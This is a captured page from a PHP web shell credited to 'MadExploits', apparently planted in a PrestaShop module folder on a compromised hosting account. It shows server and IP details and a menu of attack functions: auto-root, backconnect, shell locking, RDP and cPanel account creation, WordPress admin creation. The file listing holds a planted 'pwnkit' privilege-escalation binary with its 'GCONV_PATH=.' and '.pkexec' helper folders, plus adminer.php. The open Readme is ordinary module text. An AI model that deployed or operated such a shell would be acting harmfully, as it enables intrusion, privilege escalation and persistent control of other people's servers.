Linux webm004.cluster106.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
Apache
: 10.106.20.4 | : 216.73.216.104
Cant Read [ /etc/named.conf ]
7.4.33
alinaousgg
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
alinaousgg /
garmin /
modules /
ps_newproducts /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
translations
[ DIR ]
drwx---r-x
vendor
[ DIR ]
drwx---r-x
views
[ DIR ]
drwx---r-x
.mad-root
0
B
-rw-r--r--
Readme.md
1.7
KB
-rw----r--
adminer.php
465.43
KB
-rw-r--r--
composer.json
430
B
-rw----r--
composer.lock
566
B
-rw----r--
config.xml
451
B
-rw----r--
config_fr.xml
494
B
-rw-rw-r--
index.php
1.31
KB
-rw----r--
logo.png
4.3
KB
-rw----r--
ps_newproducts.php
9.08
KB
-rw----r--
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Readme.md
# New products ## About Displays a block featuring your store's newest products. ## Contributing PrestaShop modules are open-source extensions to the PrestaShop e-commerce solution. Everyone is welcome and even encouraged to contribute with their own improvements. ### Requirements Contributors **must** follow the following rules: * **Make your Pull Request on the "dev" branch**, NOT the "master" branch. * Do not update the module's version number. * Follow [the coding standards][1]. ### Process in details Contributors wishing to edit a module's files should follow the following process: 1. Create your GitHub account, if you do not have one already. 2. Fork the ps_newproducts project to your GitHub account. 3. Clone your fork to your local machine in the ```/modules``` directory of your PrestaShop installation. 4. Create a branch in your local clone of the module for your changes. 5. Change the files in your branch. Be sure to follow [the coding standards][1]! 6. Push your changed branch to your fork in your GitHub account. 7. Create a pull request for your changes **on the _'dev'_ branch** of the module's project. Be sure to follow [the commit message norm][2] in your pull request. If you need help to make a pull request, read the [Github help page about creating pull requests][3]. 8. Wait for one of the core developers either to include your change in the codebase, or to comment on possible improvements you should make to your code. That's it: you have contributed to this open-source project! Congratulations! [1]: http://doc.prestashop.com/display/PS16/Coding+Standards [2]: http://doc.prestashop.com/display/PS16/How+to+write+a+commit+message [3]: https://help.github.com/articles/using-pull-requests
Close